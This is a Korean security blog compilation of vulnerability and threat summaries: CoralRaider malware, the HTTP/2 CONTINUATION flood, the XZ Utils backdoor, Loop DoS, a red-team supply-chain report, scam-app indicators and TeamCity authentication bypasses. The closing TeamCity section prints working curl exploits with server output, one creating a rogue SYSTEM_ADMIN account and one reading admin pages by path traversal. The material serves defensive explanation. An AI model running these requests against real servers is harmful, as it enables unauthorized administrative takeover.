요약 - 아시아 및 동남아시아 전역의 금융 데이터를 노린 베트남발 공격이 확인
- 자격 증명 데이터, 금융 데이터, 소셜 미디어 계정 탈취에 집중
내용 - 한국을 포함한 아시아 사용자들의 금융 데이터를 노린 코랄레이더(CoralRaider) 공격 그룹이 확인
> 자격 증명, 금융 데이터, 소셜 미디어 계정을 탈취하는 데 집중

- 다양한 악성코드를 공격에 사용
> 쿼사 RAT의 맞춤형 변종인 RotBot과 XClient 스틸러 등
> 로그인 자격 증명, 금융 데이터, 소셜 미디어 계정 세부 정보 등 민감한 정보를 수집하도록 설계

- 윈도우 바로 가기 파일(LNK)을 배포하는 것으로 시작
> 공격 대상에게 배포하는 방법은 아직 명확하지 않음
> 파일 실행시 공격자 서버에서 HTML 애플리케이션(HTA) 파일을 다운 및 실행
> HTA 파일은 일련의 파워셸 스크립트를 트리거해 보안 조치를 우회하고 멀웨어 페이로드를 배포
> 탈취 데이터는 다크웹 등에서 판매해 수익화
기타 - 베트남으로 추정되는 이유
> 통신 언어 선호도, 멀웨어 페이로드에 하드코딩된 베트남어 단어, 텔레그램 봇 채널 사용 등 다양한 요인

 

보안뉴스

 

베트남 해킹그룹 코랄레이더, 한국과 아시아 전역 금융 데이터 표적 공격중...주의 - 데일리시큐

베트남에서 시작된 것으로 추정되는 사이버 위협 그룹이 아시아 및 동남아시아 전역의 금융 데이터를 노린 일련의 사이버 공격을 하고 있는 것으로 드러났다. 한국 금융기관들도 각별히 주의를

www.dailysecu.com

 

CoralRaider targets victims’ data and social media accounts

Cisco Talos discovered a new threat actor we’re calling “CoralRaider” that we believe is of Vietnamese origin and financially motivated. CoralRaider has been operating since at least 2023, targeting victims in several Asian and Southeast Asian countr

blog.talosintelligence.com

 

1. 개요

- HTTP/2 프로토콜 취약점으로인한 서비스 거부 공격이 발견

- HTTP/2 Rapid Reset 공격보다 더 심각한 문제를 유발

> 단일 TCP 연결로 웹 서버를 중단시킬 수 있음

 

2. 주요 내용 [1]

HTTP/2에서 통신의 최소 단위를 Frame이라하며, 하나의 프레임이 포함 [2][3]
- 프레임 헤더는 최소한으로 어떤 스트림에 속하는 프레임인지 식별을 가능케 함

프레임 설명
DATA HTTP 요청 또는 응답 페이로드를 전달하기 위해 사용
HEADERS 스트림을 시작해 엔드포인트에 메시지 헤더를 전송하는 데 사용
PRIORITY 스트림 우선순위를 지정하기 위해 사용
RST_STREAM 클라이언트이나 서버에서 스트림을 즉시 종료하기 위해 사용 (보통 오류 상태에 대한 응답)
SETTINGS 일련의 키값 쌍으로 구성되며, 송신자가 설정하여 수신자에게 전달하기 위해 사용
PUSH_PROMISE 서버가 클라이언트에게 클라이언트가 요청하지 않은 개체를 전송하려 한다는 것을 알리기 위해 사용
PING 엔드포인트 간 왕복 시간을 측청하기 위해 사용
GOAWAY 연결을 정상 종료하기 위해 사용
WINDOW_UPDATE 스트림 흐름 제어를 위해 사용
CONTINUATION 시퀀스를 계속하기 위해 사용

 

- HEADERSCONTINUATION 프레임이 공격에 악용

> HEADERS 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

> CONTINUATION 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

 

- 즉, 클라이언트가 새로운 HTTP/2 스트림을 시작하고

> HEADERS 및 CONTINUATION 프레임을 전송하지만, END_HEADERS 플래그가 설정되지 않은 경우 

> HTTP/2 서버가 구문 분석하고 메모리에 저장해야 하는 헤더의 무한한 스트림이 생성

[사진 1] CONTINUATION Flood 흐름

 

- HTTP/1.1에서는 두 가지 메커니즘을 통해 무한 헤더 문제로부터 보호

> 헤더 크기 제한: 헤더 목록이 허용된 크기를 초과 하면 연결이 끊어짐

> 요청/헤더 시간 초과: 요청/헤더가 적시에 전송되지 않으면 연결이 끊어짐

> HTTP/2에서는 구현되어 있지 않거나, 잘못 구현되어 있어 CPU, 메모리 부족 등 서비스 거부로 이어질 수 있음

 

- CERT-CC(CERT Coordination Center)는 해당 공격에 해당하는 CVE ID를 공개 [4]

> 메모리 누수, 메모리 소비, CPU 소모 등 다양한 수준의 서비스 거부 공격 허용

CVE ID 설명
CVE-2024-27983 - Node.js HTTP/2 서버에 영향
- 몇 개의 HTTP/2 프레임을 전송하면 경쟁 조건으로 인해 메모리 누수가 발생하여 잠재적인 DoS 발생
CVE-2024-27919 - Envoy의 oghttp 코덱에 영향
- 헤더 맵 제한을 초과할 때 요청을 재설정하지 않아 메모리가 무제한으로 소비
CVE-2024-2758 - Tempesta FW와 관련
- 속도 제한은 빈 CONTINUATION 프레임 공격을 효과적으로 방지하지 못하여 잠재적으로 DoS 허용
CVE-2024-2653 - amphp/http에 영향
- 무제한 버퍼에서 CONTINUATION 프레임을 수집하여 헤더 크기 제한을 초과하면 OOM 충돌 위험
CVE-2023-45288 - Go의 net/http 및 net/http2 패키지에 영향
- 공격자가 임의로 큰 헤더 세트를 보내 과도한 CPU 소비를 유발
CVE-2024-28182 - nghttp2 라이브러리를 사용하는 구현과 관련
- CONTINUATION 프레임을 계속 수신하여 적절한 스트림 재설정 콜백 없이 DoS로 이어짐
CVE-2024-27316 - Apache Httpd에 영향
- END_HEADERS 플래그가 설정되지 않은 CONTINUATION 프레임의 연속 스트림이 전송되어 요청이 부적절하게 종료될 수 있음
CVE-2024-31309 - Apache 트래픽 서버에 영향
- HTTP/2 계속 DoS 공격은 서버에서 과도한 리소스 소비를 유발
CVE-2024-30255 - Envoy 버전 1.29.2 이하에 영향
- CONTINUATION 프레임의 폭주로 인해 CPU 소모에 취약하여 상당한 서버 리소스를 소비

 

3. 참고

[1] https://nowotarski.info/http2-continuation-flood-technical-details/
[2] https://datatracker.ietf.org/doc/html/rfc7540#section-6
[3] https://itchipmunk.tistory.com/272
[4] https://kb.cert.org/vuls/id/421644
[5] https://www.bleepingcomputer.com/news/security/new-http-2-dos-attack-can-crash-web-servers-with-a-single-connection/

'취약점 > Denial of Service' 카테고리의 다른 글

NXDomain Flooding  (0) 2024.07.28
Cloud DDoS 취약점 Linguistic Lumberjack (CVE-2024-4323)  (0) 2024.05.22
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28
SLP DRDoS (CVE-2023-29552)  (0) 2023.11.13

1. 개요

- 모든 GNU/리눅스 운영체제의 인기 오픈소스 ‘XZ Utils’ 라이브러리에서 백도어가 발견
> 일종의 소프트웨어 공급망 공격으로 볼 수 있음
기존 공급망 공격과 달리 운영체제 레벨에서 사용되는 오픈소스 프로젝트 저장소에 접근
- CVSS 점수 10.0 할당 되었으며, 무단 원격 엑세스를 허용하도록 설계된 백도어 설치
- XZ Utils에 대한 점검과 패치 개발이 완료될 때까지 다운그레이드하여 사용 권고

 

2. 주요내용

2.1 XZ Utils [1]

- 범용 데이터 압축 형식
- GNU/리눅스 운영체제에서 데이터 압축에 필요한 필수 유틸리티를 제공하는 인기 오픈소스

 

2.2 CVE-2024-3094 [2]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3094

 

XZ-Utils의 liblzma 라이브러리에서 백도어 악성코드가 발견 (CVSS: 10.0)
> 백도어 동작시 공격자가 SSH 인증없이 서버 로그인 가능
> 일련의 복잡한 난독화 과정을 거쳐 라이브러리에 연결된 모든 소프트웨어에서 사용할 수 있는 수정된 liblzma 라이브러리가 생성
> 수정된 라이브러리를 사용해 XZ Utils 라이브러리와의 데이터 상호 작용을 가로채고 수정

영향받는 버전: XZ Utils 5.6.0 및 5.6.1

 

- 해당 백도어는 GCC 컴파일러의 GNU 간접 함수(IFUNC) 속성을 활용하여 실행 흐름에 악성코드를 삽입 [3]

> 삽입된 백도어 코드는 실행을 가로채거나 후크

> 페이로드 오브젝트 파일로부터 추출되고, 조작된 "_get_cpuid()"를 호출하는 코드를 삽입하기 위해

> cpuid를 확인하는 "is_arch_extension_supported"를 대체하기 위해 ifunc 호출을 수정

One of the core techniques used by the XZ backdoor to gain initial control during execution is the GNU Indirect Function (ifunc) attribute for the GCC compiler to resolve indirect function calls in runtime. The implanted backdoor code initially intercepts or hooks execution. It modifies ifunc calls to replace a check "is_arch_extension_supported" which should simply invoke "cpuid" to insert a call to "_get_cpuid" which is exported by the payload object file (i.e., liblzma_la-crc64-fast.o) and which calls malformed _get_cpuid() which is implanted into the code shown in the figure below.

 

[사진 2] 백도어 코드 동작 과정

 

- 2021년 공격자는 깃허브에 JiaT75(Jia Tan) 계정을 생성 [4]
> 여러 프로젝트에 참여하며 평판을 쌓아 XZ 프로젝트 관련자로 참여
> 이후 새로운 관리자 계정 추가, 커밋 병합 등을 거쳐 백도어를 포함한 커밋이 저장소에 추가
> MS는 깃허브 서비스 약관 위반을 이유로 XZ Utils 리포지토리를 비활성화

 

3. 대응방안

① XZ-Utils 업데이트 금지 또는 5.4.x 버전으로 다운그레이드 [5]
- xz --version 명령 결과가 'xz 5.6.1'이나 'liblzma 5.6.1'인 경우 다음 중 두 가지를 수행
1) 사용하고 있는 리눅스 배포판의 업데이트 버전이 여부 확인 및 있을 경우 업데이트를 진행
2) XZ 유틸즈는 다운그레이드
3) SSH 전체를 당분간 비활성화

 

> 악의적인 행위자는 이미 5.4 버전을 출시하고 서명했기 때문에 더 이전 버전으로의 다운그레이드 주장 의견도 존재

 

② 취약한 XZ-Utils를 포함하지 않는 리눅스 배포판으로 다운그레이드 또는 업데이트 버전으로 마이그레이션 [6]

[사진 3] 영향 받는 리눅스 배포판 버전

 

③ 무료 온라인 스캐너 활용 [7]

> 펌웨어 보안 회사 Binarly는 취약점에 영향 받는 리눅스 실행 파일을 탐지하도록 설계된 새로운 온라인 스캐너 공개

> 바이트 문자열 매칭 및 파일 해시 차단 목록과 같은 기존 방법과는 다른 새로운 방식으로 탐지

> 바이너리에 대한 정적 분석을 사용해 GNU IFUNC의 트랜지션 변조를 식별

> 사용자가 파일을 업로드하여 무제한 무료로 검사 가능

 

4. 참고

[1] https://en.wikipedia.org/wiki/XZ_Utils
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-3094

[3] https://www.binarly.io/blog/xz-utils-supply-chain-puzzle-binarly-ships-free-scanner-for-cve-2024-3094-backdoor

[4] https://boehs.org/node/everything-i-know-about-the-xz-backdoor
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71388&menuNo=205020
[6] https://unit42.paloaltonetworks.com/threat-brief-xz-utils-cve-2024-3094/

[7] https://xz.fail/

[8] https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
[9] https://github.com/libarchive/libarchive/issues/2103
[10] https://www.boannews.com/media/view.asp?idx=128350&page=2&kind=1
[11] https://www.boannews.com/media/view.asp?idx=128375&page=1&kind=1
[12] https://www.boannews.com/media/view.asp?idx=128372&page=1&kind=1

[13] https://www.dailysecu.com/news/articleView.html?idxno=154855

'취약점 > Supply-Chain Attack' 카테고리의 다른 글

Apple CocoaPods 공급망 공격  (0) 2024.07.03
리포재킹(Repojacking) 공격  (0) 2023.09.14
지니언스 NAC 업데이트 서버 해킹  (0) 2023.07.05
3CX 공급망 공격  (0) 2023.04.06
요약 - 2022년에 발생한 보안 사고의 74%는 인간과 인간 사이 상호작용으로부터 비롯
- 소셜엔지니어링 감사를 불필요한 자원 낭비로 여기며, 모의 해킹만으로도 충분하다고 생각
내용 - IT 보안 기능 감사, 네트워크 경계 검사, 모의 해킹, 취약점 실험 등
> 보통 1년에 한 번 진행하며, 현재 IT 환경의 상태를 입체적으로 볼 수 있게 해줌
> 그러나 인적 요소라는 구멍이 존재

- 케빈 미트닉(Kevin Mitnick)
> 무작위 대입 방식 공격에서 속임수를 동원해 사용자들로부터 비밀번호 탈취
> 공격자들은 사람의 심리를 잘 이해해 신뢰 관계 구축

- 피싱 공격
> 일년에 수억 번씩 발생하는, 지겹도록 많이 보는 유형의 위협
> 주변 사람으로 위장해 첨부파일, 링크 등을 포함 및 실행시 멀웨어 유포
> 피싱 외에도 기밀 유출, 개인정보 무단 유출 등 다양한 인적 위험 존재

- 소셜엔지니어링 감사
> 보안 교육이 얼마나 잘 되어 있고 보안 인지 수준이 어느 정도인지 평가하는 것
> 찾아낸 결과를 상세히 문서화 하여 주기적 점검
> 점검 및 확인 작업을 수월하도록 취약한 부분이 발견된 부서들을 목록화
> 해당 목록들이 블랙리스트로 보여지지 않도록 주의

- 소셜엔지니어링 감사시 참고 사항
> 모든 부서가 협조, 참여해야 하며 결과에 대한 책임을 배분
> 1년에 한 번 또는 분기별 한 번이 아닌 수시로 진행
> 당사자와 회사가 같이 문제를 해결하는 방향으로 나아가야함
> 사용자들의 불편을 최소화 하는 방향으로 해결책 마련
기타 -

 

보안뉴스

 

회사의 보안실태와 취약점 점검 시 꼭 필요한 건 ‘소셜 엔지니어링’ 감사

2022년에 발생한 보안 사고의 74%는 인간과 인간 사이 상호작용으로부터 비롯됐다고 버라이즌(Verizon)은 발표했었다. 그래서 많은 기업들이 회사의 보안 상태와 취약점을 점검할 때 소셜엔지니어

www.boannews.com

 

1. 개요

- UDP 프로토콜의 구현상 문제로 인해 발생하는 서비스 거부 취약점이 발견 [1]

- 두 서비스간 오류 메시지를 무한정 주고받도록 하여 서비스 거부 유발

- 최소 30만 개의 서버가 취약점에 영향받는 것으로 파악됨

 

2. CVE-2024-2169

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-2169 [2]

 

- UDP 애플리케이션 프로토콜의 구현 문제로 인해 공격자는 악의적으로 제작된 패킷을 사용해 서비스 거부 유발 가능

> 벤더사 Broadcom, Cisco, Honeywell, Microsoft, MikroTik가 영향을 받는것으로 확인

> DNS, NTP, TFTP, Active Users, Daytime, Echo, Chargen, QOTD, Time과 같은 UDP 프로토콜의 특정 구현을 악용해 자체 영속적인 공격 루프를 생성할 수 있음

> 약 30만 개의 호스트에 영향

 

- UDP는 설계상 Source IP의 유효성을 검사하지 않는 비연결형 프로토콜로, IP 스푸핑에 취약

> UDP는 송수신자간 검증 및 직접 연결을 설정하지 않고, 패킷을 전송

> 따라서, 공격자가 Target IP로 스푸핑하여 응답할 서버로 전송해 취약점을 유발

 

[사진 2] Loop DoS 요약

 

- IP 스푸핑 및 조작된 요청을 전송하여, 두 서비스가 서로의 메시지에 계속 응답하는 루프 생성

> 두 시스템이 오류 메시지를 무한정으로 주고받아(=Loop) 서비스 거부 발생

 

2.1 공격 시나리오

시나리오 ①

- 다수의 호스트와 대상 서버간 루프를(N:1) 생성해 단일 대상에 DoS 유발

[사진 3] 시나리오 ①

시나리오 ②

- 백본 네트워크에 존재하는 호스트간 루프를(N:N) 생성해 다수 대상에 DoS 유발

[사진 4] 시나리오 ②

시나리오 ③

- 내부 호스트와 외부 호스트간 루프를(N:N) 생성해 업링크에 부하 유발

[사진 5] 시나리오 ③

시나리오 ④

- 루프 대상이 단일 응답이 아닌 여러 응답을 발생해 자체 증폭 루프를 형성

> 가장 파괴적인 유형으로, 모든 네트워크 트래픽을 중단하지 않는 한 계속 발생할 것

 

3. 대응방안

- 벤더사 제공 업데이트 적용

> 취약점 확인 후 벤더사에 전달해 조치가 이뤄지는 중

- UDP 애플리케이션 대상 방화벽 규칙 및 ACL 적용

- 불필요 UDP 비활성화

- QoS를 사용해 네트워크 트래픽 제한

- BCP38 및 uRPF(Unicast Reverse Path Forwarding) 등의 스푸핑 방지 솔루션 도입

 

4. 참고

[1] https://cispa.de/en/loop-dos
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-2169
[3] https://www.bleepingcomputer.com/news/security/new-loop-dos-attack-may-impact-up-to-300-000-online-systems/#google_vignette
[4] https://thehackernews.com/2024/03/new-loop-dos-attack-impacts-hundreds-of.html
[5] https://securityaffairs.com/160851/hacking/loop-dos-attack.html
[6] https://www.darkreading.com/cloud-security/300k-internet-hosts-at-risk-for-devastating-loop-dos-attack
[7] https://www.boannews.com/media/view.asp?idx=127987&kind=1

1.  개요

- 최근 수년간 소프트웨어 공급망을 통한 다양한 침해사고 발생

- 인프라를 운영하며 관련 법률에서 제정한 다양한 규정 준수 및 보안 인증 등을 위해 다양한 솔루션이 사용

- 솔루션 증가는 공격자 입장에서 더 많은 선택권이 주어지는 것이므로, 현재 사용되는 솔루션의 위험성을 인식할 필요

- 금보원은 공격자의 관점에서 모의해킹을 진행공급망 공격을 분석한 ‘레드아이리스 인사이트 리포트 : Campaign ThirdEye’를 발간 [1]

※ 내용의 민감성을 고려하여 요약본 게시

 

2. 주요 내용

2.1 3rd Party 솔루션 유형 분류

구분 설명
형태별 분류 - 단일 소프트웨어 형태
- 하드웨어와 소프트웨어가 포함된 어플라이언스 장비 형태
기능별 분류 - 업무용 솔루션: 그룹웨어 / 웹 메일 / 메신저 / 문서 편집 / 업무포탈 등
- 보안 솔루션: 통합인증 / 망분리 및 망연계 / 계정관리 / 서버접근통제 등

 

2.2 3rd Party 취약점 분석

구분 설명
파일 업로드 취약점 - 파일업로드 기능을 이용해 악의적인 웹쉘 파일을 업로드하는 취약점
> 웹쉘 업로드 성공시 구동하는 웹 서비스 권한으로 쉘 획득 및 후속 공격이 가능
> 게시판 모듈의 취약점을 악용한 사례가 가장 많이 발견(개발사 폐업, 지원 종료, 업데이트 미적용 등)

- 세부 사례
① 업로드 확장자 검증 미흡
> 대부분 최신 버전 에디터는 기본적으로 JSP 등 악의적인 파일 업로드를 방지하기 위해 확장자 제한
> 일부 구버전 게시판 에디터의 경우 별도 검증 없이 파일 첨부 기능을 제공

② 관리자 페이지를 통한 파일 업로드
> 관리용 기능에서는 별도의 보안 검증을 수행하지 않는 경우가 많음
> 실질적으로 관리자 페이지 및 URL이 노출되지 않더라도 추측 및 무작위 대입을 통해 URL 식별 가능
> 원활한 관리를 위해 원격 접근을 허용하는 경우 또한 존재

 

2.3 써드아이(ThirdEye) 캠페인

- 3rd Party 솔루션 모의해킹 시나리오를 심층 분석해 가상의 해킹작전 (오퍼레이션)으로 재구성

> 이와 연관된 모든 활동을 써드아이(ThirdEye) 캠페인으로 명명

> 공격자 관점으로 시나리오별 세부적인 TTPs를 공유효율적으로 선제적 대응을 할 수 있도록 지원하는 것이 목표

[사진 1] 써드아이(ThirdEye) 캠페인

 

- 오퍼레이션별 TTPs 프로파일링

구분 설명
초기 침투 - 초기 침투시 공통적으로 파일 업로드 활용
- 각각 테스트 페이지, 에디터, 파일 전송 모듈을 찾아 악용
지속성 유지 - 재접속을 위해 웹쉘, SSH 많이 이용
- 비밀번호 변경 없이 SSH 키를 등록하거나, 관리자 계정을 생성하는 방법을 주로 사용
인증정보 - WAS 설정 파일을 복호화하여 DB 접속 정보, 관리자 계정 정보 등 탈취
접근 네트워크 확장 - 정상 프로토콜을 악용해 터널링 생성
- 주로 HTTP와 SSH 터널링을 활용
- 터널링을 맺게 되면 연결된 포트를 통해 패킷이 경유지를 거쳐 방화벽을 우회하여 직접 접근하지 못하던 네트워크에 접근이 가능 (=네트워크 피보팅)
측면 이동 - 더 많은 서버와 PC의 권한을 획득하는 것이 목적
- 정상 인증정보 확보 또는 솔루션 취약점 악용

 

2.3 대응방안

구분 설명
파일 업로드 취약점
원인 제거 및 관리
- 여러 곳에 구현된 업로드 기능을 우선적 파악
- 일반적인 기능 외에도 다양한 업로드 기능이 존재할수 있음
- 예시: 업로드 허용 확장자, 타입, 용량 제한 / 업로드 경로 실행권한 제거 / 업로드 경로 분리 등
서버 내 인증정보 관리 - 비밀번호 하드코딩 금지
- 필요시 암호화 적용 및 엄격한 파일 권한 설정
비밀번호 설정 및
점검 강화
- 유추하기 쉬운 키워드가 포함되지 않도록 설정
- 비밀번호 설정 정책, 가이드, 교육 외에도 실제 점검을 수반
솔루션 점검 및
계정 모니터
- 솔루션은 다수의 PC 및 서버와 연동되어 있으며, 높은 권한을 지님
- 솔루션 자체에 대해서도 계정, 포트, 정책 등 다양한 점검이 필요

 

[사진 2] 핵심 조치 필요 사항

3. 결론

- 솔루션 도입을 통해 효율적으로 관리를 시도하나, 관리 인원이 추가되지 않고 관리 요소만 증가하는 경향

- 공격자들은 이미 수년전부터 공급자인 제조사를 해킹해 소스코드 탈취해 취약점 확보 후 공격에 악용

- 패치 되지 않았거나, 계정 관리가 되지 않거나, 중앙 집중 관리 솔루션 등에 대해 접근통제 및 모니터링 필요

 

4. 참고

[1] https://www.fsec.or.kr/bbs/detail?menuNo=1011&bbsNo=11420
[2] https://www.boannews.com/media/view.asp?idx=127420&page=1&kind=1

1. 개요

- 보안권고문 게시(1.24) 이후 국내 앱 마켓에서 유통 중인 금융社 위장 사기앱, 위장 사이트 추가 발견

> 위장 사기앱 3개와 관련 위장 사이트 83개

 

2. 주요 내용

- 주식, 비상장 코인 투자 정보 제공을 주제로 홍보해 앱 설치 유도

 

[사진 1] 위장 앱 및 기능

3. 침해지표

- 대부분 해외 인프라를 활용하였고 소스코드 일부에서 중국어 확인

순번 1차 위장 사이트 2차 위장 사이트
1 www[.]dtqyipq[.]store www[.]cipsid[.]xyz
2 - www[.]kjpda[.]com
3 www[.]djjuedn[.]store www[.]cioism[.]xyz
4 - www[.]lsjas[.]com
5 www[.]jgisuxq[.]store www[.]sankghi[.]com
6 - www[.]klujz[.]com
7 - www[.]tiosjv[.]xyz
8 - www[.]tusii[.]xyz
9 - www[.]bjzuikoaj[.]com
10 - www[.]yxzugfb[.]com
11 - www[.]vcmxuiofn[.]com
12 - www[.]kjqda[.]com
13 - www[.]tphpliy[.]store
14 - www[.]zmfljgn[.]xyz
15 - www[.]mlsiughr[.]xyz
16 www[.]oepypdd[.]store www[.]xbvhjkd[.]xyz
17 - www[.]tuiwpas[.]com
18 - www[.]sigen[.]today
19 - www[.]cipsid[.]xyz
20 - www[.]doipdf[.]xyz
21 - www[.]dsfkdd[.]com
22 - www[.]sooja[.]xyz
23 - www[.]dasjda[.]com
24 www[.]ahbovtx[.]store www[.]jxiue[.]xyz
25 - www[.]dfasfu[.]com
26 - www[.]wiyauisuy[.]xyz
27 - www[.]jksdv[.]com
28 - www[.]asnm[.]xyz
29 www[.]djafovj[.]store www[.]nkxy[.]xyz
30 www[.]erweliq[.]store www[.]hjiizo[.]xyz
31 - www[.]sfisyd[.]xyz
32 - www[.]cdefdau[.]xyz
33 - www[.]fedjf[.]com
34 - www[.]asfuw[.]xyz
35 - www[.]drgcv[.]xyz
36 - www[.]ieytuigh[.]xyz
37 - www[.]csbikdkf[.]xyz
38 www[.]qqtrcvf[.]store www[.]sufyz[.]xyz
39 - www[.]guafjnhja[.]xyz
40 www[.]kwgnma[.]store www[.]kbai[.]top
41 - www[.]tyjhnb[.]xyz
42 - www[.]fdgeda[.]com
43 www[.]jbtlmve[.]store www[.]yiosho[.]com
44 www[.]zciqgpk[.]store www[.]yrxsl[.]com
45 - www[.]klhjs[.]com
46 - www[.]iiuqa[.]com
47 - www[.]fsdut[.]xyz
48 - www[.]sdzaqa[.]com
49 www[.]lpmreoo[.]store www[.]loilos[.]xyz
50 - www[.]tusyxnnv[.]com
51 www[.]sqrtexz[.]store www[.]jsloos[.]xyz
52 - www[.]zzlasjfh[.]com
53 www[.]rnoclbs[.]store www[.]yisloc[.]xyz
54 - h5[.]cenciakr[.]com
55 www[.]asjnvsr[.]store h5[.]bmc[.]so
56 www[.]yqmqgqj[.]store www[.]ziouay[.]com
57 www[.]dztzmay[.]store www[.]ciisoe[.]xyz
58 - www[.]ykfqwnp[.]store
59 - www[.]mxkgji[.]xyz
60 - www[.]nkdhgui[.]xyz
61 www[.]rppuriw[.]store www[.]giish[.]xyz
62 www[.]ldweezt[.]store www[.]wuaygbv[.]xyz
63 - www[.]kloijin[.]com
64 - www[.]vrdjhy[.]xyz
65 - www[.]suxghhf[.]xyz
66 - www[.]gsfds[.]com
67 - www[.]dsfxh[.]xyz
68 www[.]meugmpn[.]store a[.]meugmpn[.]store[:]34555
69 www[.]uxszepe[.]store zaif28[.]net
70 www[.]ihimrsb[.]store www[.]bvhjgdsyui[.]com
71 - www[.]brcsgjr[.]store
72 www[.]rmtpshj[.]store www[.]yisub[.]xyz
73 www[.]oaeqxyh[.]store -
74 - www[.]dsfsha[.]xyz
75 - www[.]itobmdnc[.]com
76 - www[.]loidis[.]xyz
77 - www[.]jkueo[.]xyz
78 www[.]mwoitcb[.]store a[.]mwoitcb[.]store[:]34555
79 - app[.]happyshopdz[.]com
80 www[.]hpakexo[.]store www[.]xiolki[.]xyz
81 www[.]lvurhfw[.]store www[.]podj[.]xyz
82 www[.]eiusz[.]xyz -
83 www[.]buqhnop[.]store www[.]zoiakj[.]xyz

 

- 연관 MD5

MD5 F86AE1AA8FFDBD48D594EC949F7BD153
C4F8245F7AC17050357A7B949E46DC65
2E5F5701EAB26ED751BC925995904C5F

 

4. 대응방안

- 발견된 앱은 백신社와 협조하여 탐지 조치

- 금융보안원 등 유관 기관에 해당 내용을 전파하여 사기앱과 연계된 사이트 차단

 

5. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=121718&pageIndex=1&searchCnd2=

1.TeamCity

- JetBrains社에서 개발한 CI/CD(Continuous Integration/Continuous Delivery)

 

2. 취약점

2.1 CVE-2024-27198

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198 [1]

 

- 원격의 공격자가 관리자 권한을 획득할 수 있는 인증 우회 취약점 (CVSS: 9.8)

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

-  jetbrains.buildServer.controller.BaseController 클래스가 특정 요청을 처리하는 방식에의해 발생 [2]

> 클래스의 handleRequestInternal 메서드로 요청을 서비스할 때 리다이렉션이 발생하지 않으면, updateViewIfRequestHasJspParameter 메서드 호출

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
    // ...snip...

 

- updateViewIfRequestHasJspParameter 메서드의 isControllerRequestWithViewName 변수는 아래 조건으로 설정됨

> ① 현재 모델 AndView 모두 이름이 있고 ② 현재 요청의 servlet 경로가 .jsp로 끝나지 않으면 true로 설정

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

 

- 다음으로 getJspFromRequest 메서드 호출되며, 호출의 결과값이 ModelAndView.setViewName 메서드로 전달

> ① jsp로 문자열이 끝나는지 ② admin/ 문자열을 포함하지 않는지 확인

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

 

- 공격자는 /app/rest/server URL과 3 가지 조건을 설정해 공격을 수행

① 404 응답을 생성하는 인증되지 않은 리소스 요청 Ex. /hax

② 인증된 URI 경로의 값이 포함된 jsp 매개변수 전달 Ex. ?jsp=/app/rest/server

③ 임의의 URI 경로가 .jsp로 끝나도록 지정 Ex. ;.jsp

Exploit URL: /hax?jsp=/app/rest/server;.jsp
========================================
관리자 계정 생성 Exploit
C:\Users\sfewer>curl -ik hxxp://IP/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

 

2.2 CVE-2024-27199

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-27199 [3]

 

- 원격의 공격자가 관리자 작업을 수행할 수 있는 경로 탐색 취약점

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

- 다음 세 경로에 대해 인증 과정이 적용되지 않음 [4]

① /res/
② /update/
③ /.well-known/acme-challenge/

 

- 공격자는 위 세 경로를 이용해 인증을 우회하여 서버의 정보 등을 획득할 수 있음

C:\Users\sfewer>curl -ik --path-as-is hxxp://IP/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
